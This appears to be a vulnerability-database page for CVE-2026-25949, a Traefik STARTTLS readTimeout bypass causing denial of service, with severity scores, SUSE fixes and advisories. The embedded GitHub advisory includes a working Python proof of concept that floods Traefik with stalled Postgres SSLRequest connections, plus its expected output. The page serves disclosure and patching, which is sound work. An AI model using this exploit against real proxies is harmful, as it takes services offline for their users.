CVE-2026-25949

highpriority · track · 0EPSS 0.008 · 56 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.78% (56th) EPSS
CVSS 7.5 · high
Is it mine?
5 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.8, there is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. This vulnerability is fixed in 3.6.8.

01

remediations

Vendor fix, mitigation, or workaround guidance, as published by each source.

A vendor fix is available.

  • Fixedtraefik-0:3.6.8-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedtraefik-0:3.6.8-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedtraefik-0:3.6.8-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

  • Fixedtraefik-0:3.6.8-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf

    To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

02

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondaryexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · SUSE Product Security
03

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
04

weaknesses

The CWE weakness classes this flaw belongs to.

05

affected products (5)

Products and version ranges known to be affected.

06

advisories (3)

Vendor and ecosystem advisories describing this.

  • openSUSE-SU-2026:10217-1traefik-3.6.8-1.1 on GA media2026-02-17csaf · suse_csafDE

    traefik-3.6.8-1.1 on GA media

  • GHSA-89p3-4642-cr2wTraefik: TCP readTimeout bypass via STARTTLS on Postgres2026-02-12ghsa · osvUS

    ## Impact There is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.8 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service. This triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router). ### Details Traefik applies per-connection deadlines based on `entryPoints.<name>.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections). However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines: - detect Postgres SSLRequest (8-byte signature), - call `conn.SetDeadline(time.Time{})` (clears all deadlines), - then enter the Postgres STARTTLS handler (`servePostgres`). The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore: 1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (`S`), 4. stop sending any further bytes. Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits. _Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path. Tested versions: - `v3.6.7` - `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` ### PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed). Execute the script below: <details> <summary>Script (Click to expand)</summary> ```python #!/usr/bin/env python3 from __future__ import annotations import os import socket import subprocess import tempfile import time from typing import Final # Hardcode the Traefik binary path. Edit as needed. TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik" HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080 STARTUP_SLEEP_SECS: Final[float] = 2.0 READ_TIMEOUT_SECS: Final[float] = 2.0 SLEEP_SECS: Final[float] = 3.5 N_CONNS: Final[int] = 300 POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F]) def fd_count(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd")) def open_idle_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): conns.append(socket.create_connection((HOST, PORT))) return conns def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for _ in range(n): s = socket.create_connection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRES_SSLREQUEST) try: _ = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns def close_all(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(`/`)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ ) proc = subprocess.Popen( [ TRAEFIK_BIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUP_SLEEP_SECS) pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None") ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIK_BIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s") base = fd_count(pid) print(f"traefik_pid={pid} fd_base={base}") idle = open_idle_conns(N_CONNS) fd_after_open_idle = fd_count(pid) print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}") time.sleep(SLEEP_SECS) fd_after_sleep_idle = fd_count(pid) print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}") close_all(idle) pg = open_postgres_sslrequest_conns(N_CONNS) fd_after_open_pg = fd_count(pid) print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}") time.sleep(SLEEP_SECS) fd_after_sleep_pg = fd_count(pid) print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}") close_all(pg) if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0) if __name__ == "__main__": main() ``` </details> <details> <summary>Expected output (Click to expand)</summary> ```bash Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefik_pid=46204 fd_base=6 baseline_opened=300 fd_after_open=128 delta=122 baseline_after_sleep fd=6 delta_from_base=0 candidate_opened=300 fd_after_open=306 delta=300 candidate_after_sleep fd=306 delta_from_base=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout. ``` </details> ### Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline. </details>

  • GO-2026-4484Traefik: TCP readTimeout bypass via STARTTLS on Postgres in github.com/traefik/traefik2026-02-17vendor · osvUS

    Traefik: TCP readTimeout bypass via STARTTLS on Postgres in github.com/traefik/traefik

07

also known as (5)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

published 2026-02-12modified 2026-07-15
09

references (15)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan